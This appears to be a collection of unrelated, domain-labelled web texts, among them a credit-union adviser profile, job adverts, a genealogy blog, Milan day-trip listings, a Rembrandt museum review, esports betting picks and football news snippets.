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Retirement & Investment Services
The Simplicity Retirement & Investment program is offered through CUNA Brokerage Services, Inc.*, a broker/dealer focused on serving credit union members. CUNA Brokerage Services, Inc. is an affiliate of CUNA Mutual Group.
As a trusted partner of Simplicity Credit Union we have a strong history of working with credit union members, their family and their friends. Specifically, we can make sure you have solid answers to these important questions:
- Is your retirement money invested properly?
- Will you have enough income in retirement?
- What should you do with an existing retirement plan from a previous employer?
- How will you pay for a child's or grandchild's education?
- Financially, what would happen to your family if you died?
- How will you pay for long-term care?
Financial Advisor - Jason Buchinger
Over the last 20 years, through workshops and personal interviews, I've helped a great number of people make sound financial decisions that have stood the test of time. I've done this with focus on their individual comfort level, investment time-line and goals. Working together, we can create a strategy geared towards meeting three key financial goals: 1) wealth accumulation during your working years, 2) security and independence in your retirement, and 3) transfer assets in the most advantageous way. Periodically we will review your situation and make adjustments as needed. It just makes sense - as your life changes, so do your financial needs and I'll be here for you at every stage of your life.
I am a Registered Representative of CUNA Brokerage Services, Inc., member FINRA/SIPC. I am also a licensed representative of CMFG Life Insurance Company.
It's easy to get started. Please contact me for a no-cost, no-obligation consultation.
Check the background of this investment professional on FINRA's BrokerCheck
- Retirement Planning
- Retirement Income Planning
- Tax-advantaged Investment Planning
- 401(k) Planning
- Wealth Preservation
- Investment Management
- Winona State University, BS in Finance and Business Administration, graduated in 1997
- University of Phoenix, MBA, graduated in 2008
- CRPC, Chartered Retirement Plan Counselor
- Junior Achievement Volunteer
The Simplicity Retirement & Investment program is offered through CUNA Brokerage Services, Inc.*, a broker/dealer focused on serving credit union members. CUNA Brokerage Services, Inc. is an affiliate of CUNA Mutual Group. For more information about CUNA Brokerage Services, Inc., please visit cunabrokerage.com.
FR-2877515.1-1219-0122. *Simplicity Retirement & Investment Financial Professionals are registered representatives of CUNA Brokerage Services, Inc. Representatives are registered, securities sold, advisory services offered through CUNA Brokerage Services, Inc. (CBSI), member FINRA/SIPC, a registered broker/dealer and investment advisor, which is not an affiliate of the credit union. CBSI is under contract with the financial institution to make securities available to members. Not NCUA/NCUSIF/FDIC insured, May Lose Value, No Financial Institution Guarantee. Not a deposit of any financial institution. CUNA Brokerage Services, Inc. is a registered broker/dealer in all fifty States of the United States of America.


Where to find us
An Estates Officer - Engineering Operations & Maintenance is required for a small dedicated management team, working closely with other Estates Officers, Estates Supervisors and Clerical Officers within the general office of the Estates Department.
Reporting to the Estates Engineering Manger, the post holder will manage the engineering direct labour workforce and engineering contractors ensuring all maintenance work operations are completed to approved statutory standards. The direct labour workforce is a multi-skilled team of craftsmen comprising of an Estates Electrical Engineering Supervisor, Estates Mechanical Engineering Supervisor, Electricians, Engineers, Plumbers and Maintenance Craft Assistants.
Experience of managing the operation and maintenance of steam raising plant and associated calorifiers/distribution systems is highly desirable.
Further information can be obtained from Jamie Tripney, Estates Engineering Manager on 01786 477500 or email email@example.com
Please note that the majority of correspondence is sent by e-mail, therefore please check your e-mail regularly (including junk folders) and also your Jobtrain account for updates.
NHS Forth Valley is positive about disabled people and is committed to offering an interview to disabled people who meet the minimum criteria for the job. Please contact the Recruitment Office on 0330 041 4694 if there are any reasonable adjustments we can make to assist you with your application and/or interview.
NHS Scotland is committed to encouraging equality and diversity among our workforce and eliminating unlawful discrimination. The aim is for our workforce to be truly representative and for each employee to feel respected and able to give their best. To this end, NHS Scotland welcomes applications from all sections of society.


Highland has 2 trail running trails. These trails range from 2.7 to 3.7 miles in length. Trails.com member Christine M. recently completed Walkway Over the Hudson.
Roosevelt Farm and ForestView Trail Details
Our nation’s only four-term president left us this uncommonly lovely woodland, as well as the carriage roads that bring us to its verdant heart. ...


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I have two older sisters and a nephew who spent years compiling a history of my fraternal relatives, the Bells, and my maternal relatives, the Rankins. I was only mildly interested and would spend a small amount of time reading the genealogical record they produced. Over the past five years since I have had time to do some research of my own I have become very interested because as you read about the ancestors, you begin to understand that human history repeats in the form of triumphs, tragedies, successes and failures. We not only share genetic material but psychic tendencies as well. For example, my fraternal family came from Northern Ireland to Virginia, and began to expand south as well as west. Some were killed by the British and some by Indians. We always thought we were of Irish descent, but because of the trouble between Cromwell and James I, much of Northern Ireland was depopulated. As a result, Northern Ireland was open to settlement from Scotland. The Scots were primarily Protestant while the Irish were Catholic which later led to the killing on both sides by the Protestant and Catholic factions of Northern Ireland. When the Scots were defeated by Cromwell’s Army at the Battle of Dunbar, many of the leaders were started on a forced march to the South of England, and like the Cherokee Indians, in the forced march known as the Trail of Tears, many died during the march and during captivity. My wife’s ancestor, Ninian Beall, was one of the captured leaders of the Scots. He was sent to Barbados and served four years in prison before coming to the area now known as Washington. DC. He served five more years as an indentured servant and was given fifty acres of land at the end of his servitude. By the end of his life, he owned seven square miles of land in what is now known as Washington D.C., served as a Col in the Militia. Either he or one of his sons built the mansion that Jacquelin Kennedy lived in for a year after President John Kennedy was assassinated.
The Scots were scattered worldwide many going to Australia and the Americas. The ones staying in Great Britain, became leaders in medicine, teaching, finance and many other professions requiring advanced education. During the Cromwell era, the Royalists were scattered as well with many of them coming to Maryland and Virginia for their own safety. My first known relative, a John Bell came as a stowaway on a ship, probably to escape from Cromwell’s tyranny. He married Ann Bennett, member of a prominent Virginia family. There are two distinguishing characteristics of the early families to their new homeland, one they acquired vast tracks of land and two they had large families. My ancestor and his new wife were given a large track of land by the Bennett family. This trend continued as the families moved westward on both sides of my family and my wife’s family. Another interesting pattern was the marriage of first cousins and the marriage of two or more brothers marrying sisters in a neighboring family. My wife’s mother and two of her sisters, of the Goss family, married three brothers of the McGehee family. These same patterns happened in my family as well. Cousins born into these families are referred to as double cousins. They often have similar medical problems and other similar traits because they share more genetic material than normal cousins. I do not know if any double first cousins intermarried, but I would certainly hope not.
When my nephew, retired from teaching, he started his own genealogical business. He had much experience and was able to gather information on my wife’s family and found that our ancestors had intermarried. A McGehee married a Borum on my side of the family. I grew up in Oregon, and my wife, Doris McGehee Bell grew up in Mississippi. but we met in Oregon. My Mother grew up in Jonesboro, Arkansas and my wife’s Mother in Greenwood, Mississippi. These two communities are only 150 miles apart and both in what is known as the Mississippi Delta. However travel was limited for most families, so communications were also limited. Another limiting factor is researching ancestry are the changes in spelling. Bell and McGehee have many variations so that from one generation to another the spellings may change from Bell to Beall to Beal, etc.
Many emigrants to this country were at the mercy of the census taker whose spelling was poor or who could not understand either the dialect or the language spoken by the immigrant. If one looks at writings in early American , the spelling was not standardized.
The practice of having large families was necessary in order to manage the large tracks of land and also because so many children did not survive to adulthood. My paternal grandfather had eleven or twelve children, but only three survived. His first wife died after having nine children with one daughter surviving and one who was born blind and raised by another member of the family. He then married a second time to a young woman who was a friend of his eldest daughter and also the same age. His second wife was supposedly part Cherokee, but this is primarily oral tradition. She had two children and two miscarriages and died in her twenties. It was not uncommon for the men to have two, three or four wives by the time they died. One of the common ancestors of my wife and I have had twelve children by her mid-thirties and died. Her husband married again and had more children.
Like many families who had ancestors living in both the North and South, we very likely had family members fighting against each other. The conflict we have been having this past six years is only a continuing saga in human history. Finally, the Scots have continued the tradition of scholarly achievement in the United States and have held public offices in all branches of government and in the professions. My family has a long tradition in teaching as well as military service. If I remember this fact correctly, about two thirds of the leaders in this nation are descendants of Scots, so Cromwell may have done a great service in sending them on their way from England. I have a book of note: Sir Robert Bell and His Early Virginia Colony Descendants, by James Elton Bell and Frances Jean Bell(2007).
Kentucky Ancestry: A Guide to Genealogical and Historical Researchby: Roseann Reinemuth Hogan
Scottish Ancestry: Research Methods for Family Historians Revised 2nd Edition
Tracing your Scottish Ancestry Third Editionby: Kathleen B. Cory, Leslie Hodgson
Plantagenet Ancestry: A Study In Colonial And Medieval Families (Royal Ancestry) by: Douglas Richardson; Kimball G. Everingham
Google Blog Search
I have my own blog, actually two blogs. I might very well consider dedicating one of those blogs to book reviews and another to genealogical research. Of course I would like to monetize them to support my hobby. I could easily start with my own library and expand from there. I have many topics in mind including reincarnation, utopian novels, zen philosophies, several books such as writings by Kahlil Gibran which are out of print but not out of mind,
I lean to reincarnation, because it is the most logical. It is not a continuation of life from one point, i.e., birth , but a continuation of past, present, and future. I would hate to think as some scientists claim that we are nothing but a combination of atoms and that thought is merely a chemical process. If you consider scientific thought and look at persons such as Einstein, or children born with information that they could not have acquired in such a short span of time, it creates doubt that we live only one life. In fact thought may be the ultimate reality.
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domain: history


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Dental Smile Gallery – Grantsville, UT
Get Ready for a More Confident Smile
If you are unhappy with your appearance and want a more confident smile, it’s time to consider Frandsen Dental of Grantsville. Here in our smile gallery, you can witness the changes that our patients have undergone to achieve functional, damage-free, radiant smiles. From dental crowns and dental implants to customized veneers and show-stopping teeth whitening, you can see what kind of results you will achieve when working with our talented team of dentists.

domain: health


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Visit 2 countries in just 1 day on this all-encompassing tour of the best lakes and villages in Switzerland and Italy.
Explore the Cinque Terre one of Italy's most scenic landscapes on this day trip from Milan. The "Five Lands" (translation of "Cinque Terre") are five…
See the very best of Lugano, Lake Como, and Bellagio while in the company of a local, English-speaking guide who will provide illuminating commentary…
Take an afternoon visit to Bergamo and enjoy a city tour of the old town 'Città Alta.'
Discover the beauties of this Garda Lake with a private guide at your disposal from Milan. Escape from the crowded city and jump into the…
Take a ride on the Green Train of the Alps for a spectacular journey of the Swiss Alps from Milan. Cross Lake Thun on a cruise boat to reach the…
Your cooking class takes place in Como by the lake. Your experienced cooking teacher will let you discover all the wonderful, delightful secrets of…
Spend your day walking in one of the most famous cities in Italy. Milan has so much to offer: history and art, shopping streets and gorgeous…
Take a high-speed train from Venice to Verona, where you will enjoy a guided tour of the city before continuing to Milan.
Take this unique opportunity to visit Venice on a full-day trip from Milan and see all of this popular city’s major sights. The trip includes a…
A tour for true connoisseurs of Piedmont delicacies. This is a dynamic trip to the Langhe region of Italy, famous for its exquisite black and…
Pavia is a real gem of architecture. Pavia is ideal for a day trip (just a 40 minute drive from Milan). During this tour, you will enjoy the history…
A great way to discover the beauty of the Italian lakes, this experience includes the transfer by train from Milan Station to Como Lake Station and a…
Day trip to Lake Como
A day trip from Milan to Lake Como is a refreshing break from city life. For centuries this Y-shaped lake has been a posh retreat for the upper classes, and today that luxurious lifestyle remains. Referred to by some as the most beautiful lake in the world, touring the villages of Bellagio, Varenna, and Tremezzo is a must for any traveler. More lakeside attractions include the grand Villa Carlotta, the 12th-century Castello di Vezio, and the monumental Como Cathedral.
How far is Lake Como from Milan?
Around 80 kilometers (50 miles) north of Milan, trains reach Lake Como in anywhere from an hour and 40 minutes to two and a half hours. Driving or taking the bus can cut the travel time by almost an hour, clocking in at an average of 90 minutes.
Day trip to Verona
How far is Verona from Milan?
You can travel the 160 kilometers (99 miles) east to Verona in just over an hour by train. Travel by car almost doubles your time to barely under two hours.
Day trip to Genoa
The port city of Genoa is a center of culture that’s perfect for a day away from the tumult of Milan. Revel in the heartbeat of the city at Piazza dei Ferrari, take in the splendor of the Royal Palace, and admire the palaces lining the Via Garibaldi. Set aside some time to taste the local sausage, known worldwide as Genoa salami.
How far is Genoa from Milan
Head the 150 kilometers (93 miles) south of Milan by car or bus and you will reach Genoa in around two hours. By train, the journey is a bit quicker at around 90 minutes.
Day trip to Turin
Fans of sports, culture, art, and history alike will all enjoy a day trip from Milan to Turin. Sitting proudly next to the Alps, Turin is a breathtaking destination. Many of the royal residences of the House of Savoy are located in the city, like the Palazzo Madama, Palazzo Reale, and the Castello del Valentino. Sports fans can visit venues from the 2006 Winter Olympics or tour Juventus’ Allianz Stadium.
How far is Turin from Milan?
Located 144 kilometers (89 miles) to the west of Milan, you can reach Turin in just an hour by train. Traveling by road increases the journey to around two hours.
Day trip to Bergamo
Embarking on a day out to Bergamo is a wonderful way to explore the oldest town in the hilly region. Some of the town’s can’t-miss attractions include the Piazza Vecchia and the Basilica di Santa Maria Maggiore, a church built in 1137. Climb the Campanone tower for unbeatable views of the city and make sure to visit the Donizetti Museum dedicated to the renowned local composer.
How far is Bergamo from Milan?
It will take a little less than an hour to travel the 51 kilometers (31 miles) to Bergamo from Milan by car. By rail, the trip depends on which train you decide to take, but travel ranges between 45 minutes and two hours.
What transportation options are best for my day trip?
Determining the best way to travel around Italy can be difficult, but Milan offers many transportations. With the right information, you can choose the best one for your trip.
Milan day trips by train
Italy has a comprehensive rail system with some high-speed routes. Train travel is always a good option in most parts of the country, often being the quickest — and sometimes most affordable — route.
Milan day trips by bus
In the areas surrounding Milan, bus travel can frequently be an affordable and convenient option. Bus travel times tend to closely parallel those of a private vehicle for a fraction of the price. Many tours are operated by bus as well.
Milan day trips by car
Traveling by car offers freedom and flexibility that can’t be met by tours or public transportation. Stop as frequently as your heart desires, customize your itinerary, and take things at your own pace as you enjoy northern Italy.
Should I take a guided tour for my day trip?
When exploring your travel options, a guided tour is always an excellent way to make the most of the time in your destination. Aside from providing insight into culture and history you wouldn’t get elsewhere, many guided tours will take care of transportation and food, so you don’t have to plan a thing.
What should I pack for my day trip?
Due to Milan’s location, what you should bring with you depends greatly on what time of year and where you are traveling. Since some trips take you to the mountains, warm layers are never a bad idea, while some areas maintain nice temperatures year-round.
Attractions in Milan
More Activities in Milan
Other Sightseeing Options in Milan
What people are saying about Milan
The day was a great day spent around Lake Como. Our guide Franco was cheery and informative. Alex, our bus driver, expertly guided the big bus through small twisty narrow roads on cliffs. The exercusion itself was well timed and we didn't feel gipped anywere. We stopped at Villa Olma to walk the beautuiful gardens and have our first breath taking view of Lake Como. After 30 minutes or so we, made our way into Como (the town) for a little over an hour. We had a brief guided tour before free time. Next we took a panoramic drive around the lake where we met our private boat. We were able to sit outside on the deck and take in the beautiul day. Franco pointed out villas from the water and the history or the owner. Our next stop was Bellagio where we had lunch and free time. Finally we took a public ferry to Varenna for a last quick stop before taking the bus back to Milan. Finally with current times (COVID-19), our guide wore a mask at all times and encouraged social distancing.
Como was great and lunch in Bellagio (@ La Grotta) was awesome. What disappointed me was that I had been to Varenna before and specifically chose this tour to introduce this sleepy gem to a colleague. At the end of the day we only had 15 minutes to walk from where our boat dropped us off to the coach pick-up and none of the group had a chance to see anything of Varenna town. I can understand why it would have been difficult to organise but it was still a shame.
One hour drive from Milan, you are already in a beautiful countryside!!!!! The bus was very comfortable, the guide and the driver were extremely welcoming and lovely. We really enjoyed our little trip. The little town Bellagio is so pretty, and also you get to see the breathtaking view of the mountains over the lake. Definitely worth the visit!
One of the best experiences I’ve had, the tour guide was so friendly, knowledgable and was so caring, going the extra mile to give us her undivided attention to make us feel it was a private tour. Lake Como.....breath taking is an expression that doesn’t do it justice! I found it more mesmerising than Almafi
We enjoyed our trip to lake Como very much. The trip was well organized and timely. The tour guide was knowledgeable about the history of lake Como and each town. We highly recommend this tour program to those who may be interested.

domain: travel


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On 28 August 2019, UKOTA met with James Duddridge, Parliamentary Under Secretary of State, Department for Exiting the European Union to discuss how Brexit will affect the UK Overseas Territories. Read more...
From Tristan da Cunha, Riann Repetto and Kelly Swain, undertook a training visit with the Agriculture & Natural Resources Division (ANRD) between April and August 2019. Riann worked with the Veterinary & Livestock Section to gain veterinary training and experience in preparation for his role on Tristan da Cunha as their Veterinary Officer. Riann was […] Read more...
In November – December 2022 the RRS Discovery travelled 9000 miles to the remote islands of Ascension and St Helena. Run as part of the UK Government’s Blue Belt Programme, this scientific expedition visited areas of previously uncharted ocean within the Marine Protected Areas (MPAs) of these south Atlantic islands. Introduced by international musician and […] Read more...
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domain: geography


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Expand your Career with a Progressive Private Bank
Execution Specialist, Private Bank
We are partnering with our client, a well regarded Private Bank to place an Execution Specialist. The successful candidate will be responsible for the trade execution of Equities, Secondary structured products, Options, FX, Bonds and Futures in the Bank’s trading team.
Please reach out to Jerry Lim at or for a confidential discussion.
Only shortlisted candidates will be responded to, therefore if you do not receive a response within 14 days please accept this as notification that you have not been shortlisted.
EA Licence No : 11C5502
Registration No : R

domain: finance


01 – Get Out (February 24th 2017)
Avid horror fan, Jordan Peele takes a break from comedy with this new horror film. Reviews are pouring in and it is considered one of the best modern horror films to date. Peele’s movie is about a black man going to meet his white girlfriend’s parents who seem a little off. Without spoiling anything, Peele’s film is an interesting commentary about the idea of a post-racial America. Allison Williams, Daniel Kaluuya, Catherine Keener, and Bradley Whitford star in the film directed and written by Peele himself.
02 – Leatherface (2017)
The last Texas Chainsaw film was released in 2013 and horror fans still flocked to theatres to see it. The new film Leatherface is a prequel to the original 1974 flick. Although a prequel has been released before, it was a prelude to the 2003 remake rather than the original. Stephen Dorff is set to star in the movie which will be directed by Alexandre Bustillo.
03 – God Particle (October 2017)
After raving reviews came in for last years 10 Cloverfield Lane, horror fans rejoice in hearing another installment in the cloverfield series is coming. God Particle is considered sci-fi, but if it’s anything like the previous films in the series, horror elements are involved. The only description given for the movie so far is this: “Astronauts must fight for their lives after making a terrifying discovery in outer space.
04 – Suspiria (2017)
Not much information has been released about this upcoming reboot of Argento’s classic. However there’s already an interesting cast lined up. Dakota Johnson, Chloe Moretz, and Tilda Swinton are set to star in the movie which is said to be released in 2017. It’s also been said that Jessica Harper from the original film will make an appearance.
05 – Annabelle 2 (August 11 2017)
After the stellar success of The Conjuring 2, horror fans are hopeful for more sequels within this storyline. It is a sequel to the first Annabelle movie which wasn’t terrible. Based on the previews, it seems Annabelle has attached herself to a little girl and her mother has to stop her. Light’s Out director David Sandberg is set to direct with James Wan producing.
06 – Alien: Covenant (May 19 2017)
Chronologically, this film takes place after Prometheus and it is the sixth film in the Alien franchise. With a stellar cast lined up (Michael Fassbender, Billy Crudup, Danny McBride, to name a few) and an interesting plot, Alien: Covenant is supposed to be an interesting installment for the franchise.
07 – The Dark Tower (July 28th 2017)
Another one of Stephen King’s books is being adapted, however this is more fantasy horror than purely horror. It is also said that the film is a new take on The Dark Tower series, rather than a straight adaptation of the book. Idris Elba will be playing the main role of the gunslinger, a man looking for the Dark Tower to save his world from extinction.
08 – It (September 8th 2017)
The losers club and Pennywise are back in this new adaption of Stephen King’s classic. If you’re unfamiliar with the premise, a group of children are terrorized by a clown creature of sorts who taps into their deepest fears. Stranger Things’ fans will see Finn Wolfhard take on the role of one of the losers while Bill Skarsgard will be playing Pennywise. Many will want to see this and with an R rating attached to it, it’s expected to be as scary as intended.
09 – XX (February 17th 2017)
In another anthology from magnet releasing, XX is 4 different stories all directed by women. The horror genre is dominated by male directors and writers, so a movie like this is refreshing. Jovanka Vuckovic, Annie Clark, Roxanne Benjamin and Karyn Kusama each take on a unique story, all pertaining to some subgenre of horror. So whether you like horror-comedy or monster flicks, you’ll enjoy at least one segment from this film
10 – The Belko Experiment (March 17th 2017)
Director Greg McLean and writer James Gunn’s new thriller depicts an office building that is going about an average day at work. Then a voice comes over the intercom demanding the workers kill a certain number of people or more will die. The building locks down, and everyone now has to play a purge-style game, or else they will die. The Belko Experiment looks bloody and loads of fun for any horror fan.
According to themost10.com


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Description: Winchester Model 101 12 Ga. This gun is in nice shape. The metal shows minor wear to the corners. The bores are bright and smooth. The action is tight but the lever is at dead center. The wood does not match, and the recoil pad is aftermarket.
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Amsterdam's Rembrandt House Museum is packed
with paintings and people!
The 17th century building that now houses the museum
was the abode for around 20 years of Rembrandt von Rijn
This very room in the house was Rembrandt's studio,
chosen because it had perfect lighting in his eyes!
A couple of days after my German friend and I spent many hours gazing at great art in the Rijkmuseum, including more than one masterpiece by Rembrandt von Rijn, the two of us -- together with my friend from America who I also met up with in Amsterdam -- went and checked out the Museum Het Rembrandthuis (Rembrandt House Museum) located in the very house that the Dutch Old Master had lived and worked between 1639 and 1658.
An elegant town house where Rembrandt painted, taught (he had several pupils and apprentices), and bought and sold artworks by others as well as himself, the 17th century structure looks like it'd be a most comfortable place to live and work in now as well as then. However, it appeared to be an ill-fated place for the master artist: with his beloved first wife, Saskia, dying there in 1642; three of the four couple's four children not having managed to survive beyond their first two months of life; and Rembrandt becoming bankrupt and needing to move out of the house in 1658.
Much of the house has been restored to resemble how it would have been when Rembrandt lived there; making it easy to do such as imagine the artist working in the airy, bright room he specifically selected to be his studio. Potential visitors should know though that the bulk of the artwork found at this museum actually are not Rembrandt's creations. Instead, they are by his contemporaries -- and are the kind of works that he would have bought and sold as an art dealer.
In many ways, it's easy to think of the Rembrandt House Museum as the opposite of the Van Gogh Museum (which my German friend and I had visited one day earlier). For one thing, whereas the Rembrandt House Museum contains few paintings by Rembrandt, the Van Gogh Museum is home to the world's largest collection of works by Vincent Van Gogh. For another, whereas it's easy to imagine Rembrandt moving through the rooms of the museum that bears his name, the Van Gogh Museum is housed in modern buildings erected decades after the painter's death.
Something else that struck me is that even while the Rembrandt is a highly respected artist whose works surely are world famous, the Rembrandt House Museum has a more "local" and "personal" feel to it than the considerably larger, much more well known and, frankly, distinctly commercial feeling Van Gogh Museum. Put another way: I got the principal aim of the Rembrandt House Museum was to have its visitors learn (more) about Rembrandt's life and times (using such as free audio guides) but, in contrast, felt that the main goal of the Van Gogh Museum (inside whose galleries, more than incidentally, photography was not allowed) may be a toss up between ensuring that the institution stays profitable and showcasing the work of the Dutch post-Impressionist artist whose name it bears.
In conclusion: it's true that a visit to Amsterdam for the art lover won't feel complete without having visited the Van Gogh Museum which, after all, is home to such famous works as The Potato Eaters, Irises and one of my personal favorites of van Gogh's works, The Bedroom, and had a special exhibition while I was there on Edward Munch and van Gogh that looked at parallels in the two men's art and lives. But the Rembrandt House Museum is significantly more atmospheric and consequently interesting in its own way. And the Rijksmuseum absolutely cannot be beat in terms of sheer quantity but also quality of art works on display, and quality of curation too.

domain: artistic


text: I have submitted my design. I hope you'll be satisfied to see this Design. It's totally Original, Unique, and Professional. Now I just gave the Outlet valve (Because others can copy my design). If you like my design, I will give you the other three boxes. So, please leave a comment & feedback! Thank you so much.

domain: design


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'The Truck' - photo taken at Otaki
First Registered: 1968.
Bodybuilder: Ergomatic cab.
New to: Modern Freighters, Levin.
Fleet Number: Nil.
Chassis Number: .
Into Service: 1968.
Out of Service: 1982.
Joined OS Fleet: June 2001.
Left OS Fleet: 2012.
Current Status: Passed on for restoration
History: Sold from Modern Freighters to an agricultural contractor in the Horowhenua.
Onsold to a 2nd contractor, called Landex and then purchased by the Omnibus Society for use as a shift truck. With
loss of storage and lack of funds to maintain the truck, it was passed on for restoration. Currently being restored
into Modern Freighters colours.
Home | Fleet Index |About the Society | Library | Publications | Bus History | Bus Location | Badges, Books & Posters |


LPL And LCK Spring Split Picks, Predictions, Odds March 17
- T1 will be looking for their 17th straight win in the LCK
- DRX will face DWG Kia in a hot matchup considering DRX are third
- JD Gaming should be a decent pick, from a value standpoint, against Rare Atom
Play Esports Here
Rare Atom vs JD Gaming Pick
Pick: JD Gaming (moneyline)
Rare Atom vs JD Gaming Predictions
Sporting success isn’t built on freakish performances. It is built over periods of consistency and perseverance. Ask JD Gaming, who until two weeks ago were sinking faster than they could’ve imagined.
Ten games into the LPL 2022 Spring Split, they were searching for answers, struggling to cobble up a winning combination and riddled with self-doubts. Sure, they had five wins of varying degrees of comfort, but the five losses threatened to derail their campaign to the extent that a playoff berth seemed nearly impossible, even if they were mathematically not out of it.
JD Gaming Exceed Own Expectations
On logic, you wouldn’t have bet against JD making it that far. Yet, here they are, among the frontrunners to seal a top-six berth two weeks later.
They are on an unbeaten four-match streak that currently has them on a favorable 9-5 record at joint fifth. It’s still not a done deal, but their good deeds lately have lifted their morale and confidence to go for the jugular.
Rare Atom’s Comeback From The Dead
Rare Atom are three spots down at eighth, with an 8-6 record. On paper, it’s just one win fewer than JD, and that there is a logjam in the mid-table helps their cause. They’re very much in contention for the top six, but need winning momentum and that needs to start right about now.
On the face of it, this is a contest between two sides up for a good arm wrestle, looking to force their way in after an up-and-down season. The team that holds its nerve and has clear plans and capability to counter the unexpected twists this game can throw up will come out trumps. On form, you’d think JD are better placed out of the two sides.
Rare Atom started the season with a 1-5 record. But even with this poor start, they found a second wave of confidence and team play. They’ve put together a string of wins to get to where they are. They’ve ridden on iBoy’s offensive proficiency. The bot laner lands 3.18 kills, 2.44 deaths and 4.65 assists, along with a KDA of 3.2 and creep score of 307.12. Based on how they’ve performed so far, it’s safe to say no team can take them lightly.
Team WE vs TT Pick
Pick: Team WE (moneyline)
Team WE vs TT Gaming Predictions
What can Team WE possibly be telling themselves? Are they looking back at a season of missed opportunities or are they looking at their two back-to-back wins that has given them some hope going forward?
Either way, being 16th in a 17-team pool means you’ve had a shocking season. It’s up to the team to channel the disappointment positively as they build towards the rest of the year.
TT Gaming’s Record To Forget
TT Gaming is even further down. Currently with the wooden spoon, TT are on a four-game losing streak that they would want to reverse.
With three games left, all ones that don’t hold out hopes of upsets, they will see this game as their best chance to record their third win of the Spring Split.
All said, the odds are against TT Gaming, but given where these two sides are, you wouldn’t be able to bravely decide a winner here.
WE boosted by win over RNG
Nothing boosts confidence as much as a well-oiled win against a top team.
WE certainly got that against RNG, when they won by a comfortable 2-0 margin. The first game was a fight for supremacy early on with both teams battling it out for an early gold lead, but as it went on, WE seized the initiative and eventually finished with 54.2k gold to RNG’ 45.
They also landed 16 kills to RNG’s 4 to completely dominate proceedings. Xiye led the way with 9 kills, 0 deaths and 4 assists while Xing landed 5 kills and 6 assists. Yet for all their effectiveness, the performance of the game was from Kedaya, who landed 13 assists to round off a comfortable win in game-1.
A similar tempo played out in game two with Xing and Kedaya dominating once again. Can they sustain this dominance going forward?
When TT set Twitter Abuzz
TT Gaming need to look as far back as two weeks ago for inspiration. Their win over FunPlus Phoenix was so out of the blue that it had LPL twitter abuzz.
For ThunderTalk, who sat at a 1-9 record at that point, they had just pride to play off to avoid being last. FPX were in a must-win to keep playoff aspirations alive. TT are last as it turns out presently, but the win in itself isn’t to be scoffed at.
DRX vs DWG Kia Pick
Pick: DWG Kia (moneyline)
DRX vs DWG KIA Predictions
A clash of the top half of the table, this one pits No. 3 vs No. 4. DRX has a slightly superior 11-5 win-loss record that could’ve been far worse.
Two weeks ago, they had more questions than answers, but in winning four on the bounce, they’ve separated themselves from mid-table clutter and are virtually through to the playoffs.
DWG KIA are one position lower at fourth, having won 10 and lost six. They are also through. So both sides have a great opportunity to play with freedom, without thoughts of playoffs hampering them. When a milestone is around the corner, teams tend to border on the conservative.
Now that one of the goals has been ticked off, it is a chance for both sides to exhibit their aggressive styles. The odds are against DRX even though they are a spot higher only because DWG KIA have shown over the course of the last eight weeks that they can be giant killers on their day.
That said this is as close a battle as it can get.
DRX Don’t Want To Chance Fate Against T1
DRX entered week eight having won two on the bounce. At the end of it, they’ve managed to double that winning score line and are on a streak that could potentially turn out to be dangerous for teams above them.
DRX have channelled their loss to Gen G by going back to the style of play that suits them and have come out trumps against KFD and Nongshim RedForce, who they beat 2-0. DRX have a great opportunity to seal their playoff berth here. They wouldn’t want to leave it to the very last game of the season against toppers T1, who are on a bull run of 16 straight wins.
DWG KIA The Giant Killers
Not long ago, they stopped Kwangdong Freecs in their tracks. They ended their four-game run with some sensational offensive play that caught the opponent off guard. Yes, midway through the result may haven’t been much of a surprise given Freecs were placed last for a long time.
But Freecs have taken the tournament by storm. Which makes DWG KIA’s result all the more outstanding. Deokdam has been their key showman. The Koran bot laner averages 4.26 kills, 1.55 deaths and 4.05 assists along with a KDA of 5.36 and creep score of 339.37. The key to finding a way out against some terrific bot lane proficiency is to get past him.
Kwangdong Freecs vs Hanwha Life Esports Pick
Pick: Kwangdong Freecs (moneyline)
Kwangdong Freecs vs Hanwha Life Esports Predictions
An inconsistent season threatens to end in massive disappointment for Kwangdong Freecs despite their spurts of brilliance.
They’re positioned seventh and it does no justice to the kind of team they are. The points table says they have six wins and 10 losses but the reality is they are a much better team than that.
This is what they will want to prove against Hanwha Life Esports, who have had issues of their own and are languishing at the bottom of the pile with 3 wins and 13 losses. They are on a six-match losing streak to boot, and it’s going to be a gap too big for them to bridge.
So expect Kwangdong Freecs to break their three-match losing streak right here. The playoffs may or may not happen, but they can most certainly build towards the summer split by ending well here.
T1 vs Liiv SANDBOX Pick
Pick: T1 (moneyline)
T1 vs Liiv SANDBOX Predictions
Few teams have shown the kind of domination like T1 have this spring split. It’s not like they have had a smooth ride. They have even challenged, there have been pockets where they have struggled. This is where the better teams find a way out, and T1 certainly has. One more win and they will go through an entire split undefeated.
In a closely competitive format, where one lost game could quickly turn the tide against you, T1 have defied everything that has been thrown at them. They are the unstoppable force going up against a team that has the capability of being intimidated by T1’s very sight.
Liiv SANDBOX are ninth and are in serious danger of finishing with the wooden spoon with two games left. They couldn’t have asked for a tougher draw going into the final week. A 4-12 record shows exposed their struggle. There is every possibility their losing streak could stretch to six games here.
How to Watch LPL and LCK 2022 Spring Split
|LPL And LCK 2022 Spring Split Information|
|Teams||LPL: Team WE vs TT, Rare Atom vs JD Gaming |
LCK: T1 vs Liiv Sandbox, DRX vs DWG Kia
|Location||Offline event, conducted in China (LPL) and Korea (LCK)|
|Time||Thursday, March 17 at 2.00 AM EST onwards|
|How to watch||LPL official Twitch channel |
LCK official Twitch channel
More Esports Predictions
With an interest in strategy and mathematics, applying that to sports writing was the natural progression. A writer at night and the founder of a gaming company, Nikhil’s previous experience includes working with ESPN for five years. His specialization includes soccer, basketball, tennis, and esports betting. Email: [email protected]


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SANTA CLARA, Calif. -- Liverpool winger Sheyi Ojo is so eager to force himself into manager Jurgen Klopp's plans that he turned down the offer of a holiday this summer to start preparing for the upcoming season.
The 19-year-old flew straight to the United States to join the Reds on their preseason tour in the International Champions Cup after appearing for England at the Under-19 European Championship.
Ojo and his side were eliminated at the semifinal stage of the tournament, and he said Klopp then...
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MAN UNITED: United and Juventus have finally agreed all of the details on Paul Pogba's world-record transfer, sources have told ESPN FC, with the midfielder set to undergo a medical to complete the move to Old Trafford.
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SANTA CLARA, Calif. -- Liverpool have been dealt a huge blow as goalkeeper Loris Karius is set to miss the start of the season through injury, a club source has told ESPN FC.
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The custodian came out to deal with a cross just before the hour mark, but accidentally struck the defender...

